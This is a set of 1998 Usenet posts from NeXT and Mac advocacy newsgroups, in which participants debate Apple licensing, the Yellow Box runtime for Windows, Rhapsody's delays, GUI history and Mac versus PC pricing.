Michael Peck <mjpeck@nstar.net> wrote:
>I don't really want to debate whether or not licensees would innovate. I
>would like to argue upon the premise that they wouldn't: if Apple is a
>unique innovator, it's all the more reason for licensing. If they were
>simply keeping pace, there would be no point in engendering competition.
>But if Apple is really a source of innovation that cannot be found
>elsewhere, why not harness that uniqueness and sell it?
> [snip]
Glad to see some enthusiasm for Apple again.
This debate began with a URL for a news-item that talked about
the current top-selling computer models; the iMac is one of them.
This supposedly is a signal for Apple to start licensing again.
I don't see that.
Apple has to get the market excited enough about it that the
market is seen to be potentially larger than Apple can service
on its own.
As it is, one prediction made in these newsgroups was that
the iMac would not sell well in calender Q4, 1998, because by
then Apple would have saturated its upgrade market.
In the longer run, I agree completely, that Apple needs to
position itself as a center of innovation with a symbiotic
relationship with other companies that grow marketshare.
-arun gupta
Message-ID: <3618D38F.5157913@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
References: <3615835C.225B608D@nstar.net> <6v6hvv$c0q@newsb.netnews.att.com> <3616F492.6F890E92@nstar.net> <6vajdp$h59@newsb.netnews.att.com>
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Date: Mon, 05 Oct 1998 09:11:27 -0500
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Glad to see some enthusiasm for Apple again.
>
> This debate began with a URL for a news-item that talked about
> the current top-selling computer models; the iMac is one of them.
> This supposedly is a signal for Apple to start licensing again.
> I don't see that.
>
> Apple has to get the market excited enough about it that the
> market is seen to be potentially larger than Apple can service
> on its own.
Okay, but I don't see the evidence that they have to wait for that.
Maybe you can point to historic parallels or something else that
illustrates this axiom?
> As it is, one prediction made in these newsgroups was that
> the iMac would not sell well in calender Q4, 1998, because by
> then Apple would have saturated its upgrade market.
I've begun to reconsider this prediction. Even so, I think it will
eventually come true in some timeframe if Apple doesn't give it room to
grow. You don't wait until your market is bursting at the seams before
licensing; if you don't license in time the market will never be
bursting at the seams. You'll just stifle it.
> In the longer run, I agree completely, that Apple needs to
> position itself as a center of innovation with a symbiotic
> relationship with other companies that grow marketshare.
Not only marketshare but also innovation as well. Apple is an innovator
but it's not the only innovator. If Apple could learn to accept other
companies' solutions, it could ship them in the confidence that it isn't
being upstaged when it does so. The problem is that Apple has no
confidence in itself, and whether they admit it or not, lots of its most
loyal customers lack confidence in it, as well.
Who can blame them, as Rhapsody gets later and later? I get a lot of
flak in this group for being so critical of such things; since these are
the sorts of stupid things that prevent Apple's success, I wonder why
I'm the *only* one who's critical...
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a car.)
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Cc: tim@jumpnet.com
Organization: none
References: <slrn70stmu.c3a.jason@jhste1.dyn.ml.org> <B23485B6-394A2@206.165.43.157>
<tim-2809980901010001@jump-tnt-0163.customer.jump.net>
Mime-Version: 1.0
Date: Tue, 29 Sep 1998 19:23:31 GMT
In <tim-2809980901010001@jump-tnt-0163.customer.jump.net> Tim Olson wrote:
> overlapping windows
> pop-up menus
> retractable scroll bars (save area)
> active scrolling
> proportional scroll bars
It's worth pointing out that the original interface, also found to a large
degree in SunView, is terribly confusing to use compared to modern
interfaces. For instance I can't think of a single person that didn't try
the scrolling and conclude that it was going the wrong direction (ie, pulling
the thumb down results in showing a "higher" portion of the document - it's
terribly confusing).
Odder is that in the effort to utter kill off all modality, they ended up
with a system with several uber-modes - namely those of the three major mouse
buttons. Now normally this isn't a real problem, yet the end result is that
the UI items needed to interact with the system were *hidden* and had to be
actively called forward to operate.
I used SunView for a time, and although it was more modern than the early
SmallTalk's and had a few nice things (Spinners for instance) the 5 year
older Mac I had kicked it's butt in terms of usability.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A Brief History of the GUI (was: Re: A computer is not like a
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Organization: none
References: <tim-2809980901010001@jump-tnt-0163.customer.jump.net> <B236258E-142F0@206.165.43.141>
Mime-Version: 1.0
Date: Tue, 29 Sep 1998 19:25:13 GMT
In <B236258E-142F0@206.165.43.141> "Lawson English" wrote:
> I had a chance to see Squeak (if it is what I'm thinking of) running on a
> Mac Plus in Dave McClain's office way back when. Right next to the 68000
> Sun workstation that he used to help finish writing the Amiga OS. Squeak
> broke when we added a larger monitor to the Plus since it *completely*
> bypassed the OS, right down to the cursor-handling.
All of the SmallTalk's did at the time. It's likely the #1 reason
SmallTalk never became widely used. Who want's a captive enviornment just to
use the object library?
Maury
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: What we need from Mac OSuX
Message-ID: <1998Sep29.171323.27840@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <6uac38$tek$1@nnrp1.dejanews.com>
Date: Tue, 29 Sep 1998 17:13:23 GMT
In article <6uac38$tek$1@nnrp1.dejanews.com> OWSCR@hotmail.com writes:
> I find Windoze advocates iritating for the same reason I find any
flavour of
> christian anoying.
Hmmm, my original comment was meant in jest. However, I find this comment
disturbing... why Windoze "advocate" vs. other-os "advocate"? And what
does buying a product that another company sells for profit, or chooses
not to, have to do with religion?
Surely I recognize that there are religious zealots out there, but come
on! Let's get a life...
I own a Chevy. Boy are those Ford owners annoying! Always telling me how
great their Ford is, boy I'd like to show them what nimrods those
engineers at Ford are!
Oops, sorry for the slip into metaphores.
BTW, pre-flame statement: I have one Linux box and one W95 box at home,
and a OPENSTEP / Mach box at work sits next to my NT WS 4.0 box.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 19:47:43 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6urdgv$o4m@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net>
On Mon, 28 Sep 1998 23:40:33 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>I have a registration with the Developer's Library. What I'm looking for
>is a reference to support the claim that YB for Windows will generate
>logo-able Windows apps.
This was stated at the WWDC.
Heck, You can also check the side of the WO4 box for a Windows Logo. If
it has a logo, then clearly YB/NT Apps will be logoable Windows Apps.
BTW, since you have the MSDN CDs, I would be more than happy to have you
review a YB App and decide if it meets the logo requirements.
>> Adobe would not provide Apple with a flat-rate DPS runtime fee. To avoid
>> this fee Apple had to remove the PS language from its window server.
>The Rhapsody FAQ explains that not all runtime fees have been removed...
The FAQ also states that Apple has commited to providing a free runtime.
>> The technology is still licensed and is not lost. Apple can include it
>> if they want. They choose not to, since it requires a license fee that
>> developers end up having to pass on to customers.
>[sigh] You're avoiding the point. Again.
If you have a point, please make it.
>> >If you like. I'm supposed to take Apple committments as evidence for
>> >something?
>Salvatore, you need to read the thread more carefully. There has already
>been a clear distinction made between the YB runtimes for Windows and
>the *developer tools* for Windows. Somehow, you must have passed over
>that, or just misunderstood it, or completely ignored it, or something.
YellowBox refers to both the runtimes and the developer tools. As it stands
now, YB Apps have to be compiled on NT for NT. In order to provide a runtime,
Apple needs to provide the developer tools.
At some point, Metroworks and/or Apple may provide a compiler to build
native NT from MacOSX and vise versa. This capability has not been
officially announced by Apple.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEWS.COM article on CPU marketshare
Newsgroups: comp.sys.next.advocacy
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net>
Message-ID: <3618e783.0@news.depaul.edu>
Date: 5 Oct 98 15:36:35 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> Matt Evans wrote:
> > Perhaps apple can engineer soemsort of render farm type computer.
> > Maybe if apple can get a fucking decent operating system written, people
> > can start seeing things like "SMP Photohop 6.0, available exclusively for
> > PowerMacintosh G3". Or hell, why not build a PCI card thats a vector
> > processor ? How much of 2d graphics work is 3x3, 5x5, or 7x7 matrix
> > math ? Write a cute API for it that macos developers can understand and use,
> > and then suddenly alll sorts of programs can use it.
1) Why build a PCI card, when there's AltiVec coming out?
2) If you're going to put it on a card, why not use AGP for maximum
bandwidth, direct memory access, etc...
3) NeXT's experience with multi-processing and distributed processing
may create some interesting results. (Does Crandall work at Apple now?
What's he been doing? Anyone know?)
> There are *continents* of new territory to explore. They need to get up
> and start doing the things nobody else does...the way they used to.
Pre-NeXT Apple reminds me of that HP commercial where the engineers
turn a printer into a lawnmower, when they should be working on
turning it into a sub-$1,000 on-demand book printing and binding
engine.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Todd Arneson <"s124"@[REMOVE]earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Monopolies
Date: Mon, 05 Oct 1998 10:18:03 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6vav8c$5q7$2@birch.prod.itd.earthlink.net>
References: <dE1M1.481$dZ.471199@newsfeed.slurp.net> <36074e77.39113826@news.alt.net> <3614C098.FE19CB7@nstar.net> <6v2m1s$6la@newsb.netnews.att.com> <6v3j9g$jna$1@nnrp1.dejanews.com> <lekleber-0410981734320001@uar180003.columbus.rr.com> <6v9719$cp$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
quinlan@intergate.bc.ca wrote:
>
> In article <lekleber-0410981734320001@uar180003.columbus.rr.com>,
> lekleber@columbus.rr.com (ALE) wrote:
>
> > Well I've seen similar hardware to what your talking about and it was
> > connected to a PowerMac 5400.
>
> I haven't described the hardware so how could you know if it is available for
> the Mac? This equipment was used to determine object velocities and used a
> very particular set of lazers and software.
>
> > I have a hard time believeing that there is
> > no way to use a Mac with it.
>
> The vendor (I can't remember the name) sold it only with an ISA interface. How
> would you use the ISA card with a Mac?
>
> > This aside, somehow I don't see the use of
> > one selection of hardware that only tiny fraction of people would ever
> > even consider useing, as being a *big advantage*. If this is the biggest
> > adventage DOS has, I have NOT A SINGLE REASON to use DOS.
>
> I was reply to arun who stated "There are no objective advantages to running
> DOS on a 286 over running say, MacOS on a G3 233 MHz..." This statement is
> false if there is a single objective advantage to running DOS on a 286 over a
> G3 233MHz. I described one objective advantage. There are others.
>
> I agree that, for most people, the G3 would be a better fit. But that was not
> the orginal claim.
Well why not use DR-DOS instead of MacOS? They have the same multasking
features, and a 286 running DR-DOS doesn't crash nerely as much as
MacOS.
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-1nur1YFOBx4D@slip202-135-89-77.hk.hk.ibm.net>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360BDE30.8DCE947@trilithon.com> <forrestDELETE-THIS!-2509981323590001@term3-12.vta.west.net> <FIiROLCWddLd-pn2-QHCH10tPkEvt@localhost> <6vasvr$918@merkur.smartsoft.de>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 5 Oct 1998 18:31:39 GMT
Organization: IBM.NET
On Mon, 5 Oct 1998 16:43:39, ahoesch@on-luebeck.de (Andreas Hoeschler)
thought aloud:
> >But with Apple emphasizing "Carbon" and downplaying Yellow Box Rhapsody
> >seems to have lost its attractiveness and momentum anyway.
>
> If Apple does not promote the YellowBox as hell, they're simply stupid and I
> would like to see Apple being bought and reorganized by a company that know
> what time it is.
This is indeed rather ironic as I got very excited when Apple "last
time got bought" by NeXT and the Yellow / Blue roadmap looked to be
like a wet daydream come true.
As I see it, Apple has become carefree thanks to buoyant G3 (esp.
iMac) sales and have returned to being a predominantly hardware
company while (Jobs is) "milking the Macintosh (read Classic Mac OS)
for all it's worth".
It would also seem that if YellowBox will get any promotion at all
late this year or early/mid next year it'll be targeted towards
high-margin, low volume enterprise markets (for deploying WO, EOF
etc.). If it works for Apple, and meanwhile G3/G4 PowerPC's continue
to sell briskly Apple will have money in bank and a slightly larger
captive PPC market to manipulate for years to come. The question
remains whether the G3/G4 (native) market only will ever be enough to
revive a sustainable YB renaissance after the window of opportunity
(that is boosting Linux into relevance right now) has closed.
Sun (with Java) would make an excellent partner to Apple considering
the natural YB/Java synergies but any buyout of Apple would IMHO be
lethal to Apple at this late stage. Ideally Sun would provide Linux
with first-class Java support and Apple did likewise with YB and QTML;
there's some growing neutral ground to be gained right now.
> > especially if there are only handful of apps available for it?
>
> It seems that if we would like to have a reasonable OS in the future, we
> should slowly start to develop applications for it. In opposite to Win, the
> YellowBox is powerful enough for a one man shows, so lets simply do it.
But there's the Catch 22 - Apple is only planning to make a native
platform for YB apps on Apple G3's or later when Mac OS X is supposed
to ship in late '99. Will YB still be attractive to developers in
'2000 compared to native Linux and M$ NT development? Will folks be
happy to stick with Mac OS 8.x for another year or more?
Cheers,
--
taiQ
[this space is intentionally blank]
From: "Earl Malmrose" <earl.malmrose@nospam.jetcity.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com>
Subject: Re: What do Apple Sell? Why would they damage their business?
Message-ID: <dhNQ1.577$HF3.1311949@news14.ispnews.com>
NNTP-Posting-Date: Thu, 01 Oct 1998 11:33:29 EDT
Organization: ISPNews http://ispnews.com
Date: Thu, 1 Oct 1998 08:30:25 -0700
hughesojh@my-dejanews.com wrote in message
<6uvl5r$18r$1@nnrp1.dejanews.com>...
>Here's the problem with Rhapdsody x86.
>
>Apple sell systems.
>
>Their systems are cheaper and faster than Wintel crap.
Nope. Go ahead and argue that MacOS is easier to use, but forget argueing
that Macs are cheaper *and* faster. There's no way you'll win that
arguement.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 15:27:54 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6v071q$obt@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com>
On 1 Oct 1998 02:53:30 GMT, John Jensen <jjens@primenet.com> wrote:
>Sal Denaro <sal@panix.com> wrote:
>: The FAQ also states that Apple has commited to providing a free runtime.
>available on day one. If Apple wanted to get developers excited (by
>getting them some income), all they had to do was open the gates at that
>$20 fee.
The runtime they could have shipped does not include all the changes made
to the product during the development. Was it worth the risk to ship a
product that would have been badly reviewed? No Java? No Quicktime?
I would rather that they took the time needed to build a solid product, that
would be easier for me to sell than ship it now.
>For some reason Apple finds it easier to wait, and release the runtime at
>the same time as MacOS X Server (or perhaps later). I guess I can see the
>logic. Those missing Windows apps don't help sell competing computers, and
>delaying the runtime doesn't cost Apple a dime. It only costs the
>developers.
I think it much more important for Apple to ship it right than just to ship
it. How much would it cost developers if Apple shipped it and didn't market
it? Or if Apple shipped it without win95 support? Java? How much would it
cost developers if they had to overcome FUD caused by shipping a product
before it is ready?
>Now, would you really like to hold the Windows runtime up as an example of
>how the New Apple supports its developer community?
Apple is doing a mediocre job of supporting the developer community. You won't
get much of an argument about that from me.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 29 Sep 1998 03:47:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6upl8c$674@news1.panix.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu> <360F36FC.318D1E3@nstar.net> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com>
On Mon, 28 Sep 1998 18:57:37 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> How useful would YB/NT be if Apps built with it didn't earn the NT logo?
>Excellent question. This is a good time to provide the reference on
>logoable apps. Can you point me there?
http://premium.microsoft.com/msdn/library/
You have to register (and stash about 30 cookies onto your harddrive) but
afterwards, you'll have access to just about _everything_ you might want
to know about NT.
Once that is done go to:
http://premium.microsoft.com/msdn/library/sdkdoc/winlogo/logo_84xf.htm
>> Why would Apple work to remove the YB licensing fee if it did not plan
>> to keep it around?
>What do you mean by "work to remove the YB licensing fee"?
Adobe would not provide Apple with a flat-rate DPS runtime fee. To avoid
this fee Apple had to remove the PS language from its window server.
> It doesn't
>take any work to remove the licensing fee; it only takes work to replace
>the lost, now-unlicensed technology.
The technology is still licensed and is not lost. Apple can include it
if they want. They choose not to, since it requires a license fee that
developers end up having to pass on to customers.
>> BTW, you can settle this by going to the Apple web site and reading the
>> FAQs.
>Great! Can you provide a URL? I've done about as much digging around the
>labyrinthine Apple Web site as I can stand for this week so far.
Labyrinthine? Go to www.apple.com and click "Developer". That takes you
to the Apple developer homepage. One that page you'll see a link clearly
marked "Mac OS X Server (Rhapsody)" Click on that and your at the MacOSX
homepage. On that page you'll find links to FAQs, sample code and
developer docs (no need to fill out forms to search anything)
Three clicks is a labyrinth? Bleh. That's nothing compared to the hoops
you have to jump through at MS, Oracle and just about everywhere else.
>> Other than Apple saying that they will?
>If you like. I'm supposed to take Apple committments as evidence for
>something?
Huh? You stated:
On Mon, 28 Sep 1998 11:50:44 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>It's a fair bet YB on Windows runtimes will exist. There is no public
>evidence to suggest that the development tools will continue to be
>developed for Windows.
I posted this:
>> From: http://gemma.apple.com/macosx/server/rhapfaq/5.html#5.2
>>
>> Will the Yellow Box continue to be available on Windows?
>> Yes. Cross-platform development is the key feature of the Yellow Box.
If you do not take this as public evidence of intent, then *what* do you
want? A sworn oath signed in blood?
I can provide links to statements by Steve Jobs, Avie Tevanian and Ken
Bereskin all stating that YB is Apple's Cross-platform development
product. Is that to more to your taste?
From: quinlan@intergate.bc.ca
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Mon, 05 Oct 1998 18:44:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vb42a$dl8$1@nnrp1.dejanews.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com> <362d5e93.317525241@news3.newscene.com> <6v82ve$rce$2@news.idiom.com> <363cb0bf.404077472@news2.newscene.com> <36167501.2C23@southwind.net> <6v9vc8$sn1$1@nnrp1.dejanews.com> <6va2q8$8be$2@news.idiom.com>
In article <6va2q8$8be$2@news.idiom.com>,
jcr.remove@this.phrase.idiom.com wrote:
> I'm not sure what you mean by "environmental sensing", but any GPIB-based
> sensors like temperature probes, pressure tranceducers, and chemical sniffers
> can be driven by LabView on the Macintosh.
Environment sensing is the detecting of environmental conditions. This can
include everything from the quality of the air in an office building, to the
tempurature levels in the artic circle (our units have been used for this) to
the oxygen levels in some stagnant pond somewhere.
Carrying your Mac into the field would probably be more of a hassle than most
people want. For field work you need a compact (ours are handheld) and
durable unit that can operate for days or weeks on battery power. You then
want to connect this unit to your computer, download the data and analyse it
using some nice software. How are you doing to download the data onto your
Mac? Ask the vendor for the data format and roll your own code? The best that
most Mac users can do is buy a serial adaptor and use Virtual PC or Soft
Windows. And, AFAIK, ours is the only company that tries to support people
who do this.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com> <6v8mui$80r$1@nnrp1.dejanews.com> <364204ff.425648756@news2.newscene.com> <361a43db.3847963@news.newsguy.com>
Subject: Re: What do Apple Sell? Why would they damage their business?
Message-ID: <yF8S1.462$U8.751446@news6.ispnews.com>
NNTP-Posting-Date: Mon, 05 Oct 1998 14:58:38 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 5 Oct 1998 11:55:38 -0700
David Steuber "The Interloper" wrote in message
<361a43db.3847963@news.newsguy.com>...
>The PII will STOP EVERYTHING
>until the FPU finishes. So much for dual pipeline.
Nope. There's at least 2 integer pipes, and one floating point pipe, and
they can all run independantly. Sometimes the instructions are ordered so
that the floating point result is needed immediately, but that's not
required.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: Sat, 03 Oct 1998 15:02:13 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-0310981502130001@1cust56.tnt1.santa-barbara.ca.da.uu.net>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <362e5ed6.317592691@news3.newscene.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <362e5ed6.317592691@news3.newscene.com>, me@home.org (Just Me) wrote:
> >Apple sell systems.
> >
> >Their systems are cheaper and faster than Wintel crap.
>
> Cheaper? Post some examples please.
Well he is a comparison of dell versus apple:
dell p2 450 g3 266
64 megs 100 mhz sdram 64 megs sdram
10 gig ide 8 gig ide (only choices 8 or 12, no 10)
8 meg ati xpert 98 (rage pro I believe) 6 meg rage pro
no modem no modem
10 base t 10 base t
virus scan
ms office 97 sbe none
3 year warranty 1 year warranty
$1946 $1999
Dont know which one will be faster, tho I suspect the cheaper p2 450 :P
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: michael.peck@ericsson.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Mon, 05 Oct 1998 20:57:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6vbbsi$rb2$1@nnrp1.dejanews.com>
References: <6v9l1r$27uq$1@piglet.cc.uic.edu> <361862AC.B572DA9@nstar.net> <x7r9wnuymx.fsf@loathe.com> <3618D157.D7637EDE@nstar.net> <3618e783.0@news.depaul.edu>
In article <3618e783.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > There are *continents* of new territory to explore. They need to get up
> > and start doing the things nobody else does...the way they used to.
>
> Pre-NeXT Apple reminds me of that HP commercial where the engineers
> turn a printer into a lawnmower, when they should be working on
> turning it into a sub-$1,000 on-demand book printing and binding
> engine.
I wonder if Apple's considered creating a new calendar for itself and its
NeXTian fans. This would solve the Y2K problem for Apple in a pinch: just
begin measuring time as a differential from Steve Jobs' Second Coming.
With this innovative new system, you could dismiss remarks with a wink and an
"oh but that was circa 2 B.S. (Before Steve)". Someday the glorious history of
Apple's comeback could be told in these terms..."In the Year of our Savior, 5
Anno Stevius, the iMac II was shipped, and yea, it was a bonanza..."
MJP
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: jmcgee@gmu.edu (Pat McGee)
Newsgroups: comp.sys.next.advocacy
Subject: Re: A simple question
Date: Mon, 05 Oct 1998 17:22:04 -0400
Message-ID: <B23EB0BC96681F8B839@207-172-112-175.s175.tnt4.ann.erols.com>
References: <01bdee56$93fef640$0100007f@aftermath> <6v3tme$4rs$1@news.iswest.net> <361416BF.406@southwind.net>
In article <361416BF.406@southwind.net>,
jmz@southwind.net wrote:
> He might also consider getting OpenStep 4.2 if it is still available.It
>was offered as an Academic Bundle as late as May or June of this year
>and supports Intel and Sun SPARC as well as "black" NeXT hw.
I checked Apple's Web site last week, and couldn't find any mention of
this. There were several academic prices for things, but I couldn't find
OpenStep among them.
Does anyone have any more info about this?
Thanks,
Pat
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: 1 Oct 1998 01:15:25 GMT
Organization: Idiom Communications
Message-ID: <6uul3d$61t$1@news.idiom.com>
References: <360EE09E.395F318B@nstar.net> <pulsar-ya02408000R2809980133040001@news-proxy.cso.uiuc.edu>
<360F36FC.318D1E3@nstar.net> <joe.ragosta-2809980632320001@elk33.dol.net>
<360F9CE3.1F25A371@nstar.net> <pulsar-ya02408000R2809981121510001@news-proxy.cso.uiuc.edu>
<360FBF7B.C2A1CAEE@ericsson.com> <pulsar-ya02408000R2809982205540001@news-proxy.cso.uiuc.edu>
<36106cf1.0@news.depaul.edu> <3611b52e.347174@news2.icx.net>
<6ut7ig$cok$1@news.idiom.com> <3612b507.1391230@news2.icx.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: mmccullo@nospam.net
Michael McCulloch may or may not have said:
-> jcr.remove@this.phrase.idiom.com (John C. Randolph) perhaps wrote:
->
-> > Michael McCulloch may or may not have said:
-> >-> I personally don't see a top-notch, feature-rich, commercial quality
-> >-> Windows app written in Yellow Box for Win32 as a strong possibility.
-> >
-> >Well then, I guess I've seen the impossible.
->
-> Please enlighten me as to what you have seen.
I've seen several in-house and commercial apps that started on NeXTSTEP, and
have been ported to OpenStep on windoze. Haven't you? Create! is a good one
for a start, not to mention IB and WebObjects Builder.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: steve@nospam.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: I still use OPENSTEP........and I like it!
Date: 5 Oct 1998 21:45:45 GMT
Organization: Internet Specialties West, Inc.
Message-ID: <6vbem9$47v$1@news.iswest.net>
References: <6v6b9c$8s2$3@news.bctel.net> <6v8f61$8l7@news1.panix.com>
In-Reply-To: <6v8f61$8l7@news1.panix.com>
>...InterfaceStyle.preference 1.1 (Sep 5 1998)...
Yes, I've seen this on Rhapsody DR2. They mangled the NeXT UI mode.
The menus are hosed and the scroll bars in the terminal app don't work right.
I don't mind Apple add functionality, but why do they insist on destroying
what already exists?
Steve Dekorte
From: michael.peck@ericsson.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.lang.java.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Date: Thu, 01 Oct 1998 23:29:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v1385$4lm$1@nnrp1.dejanews.com>
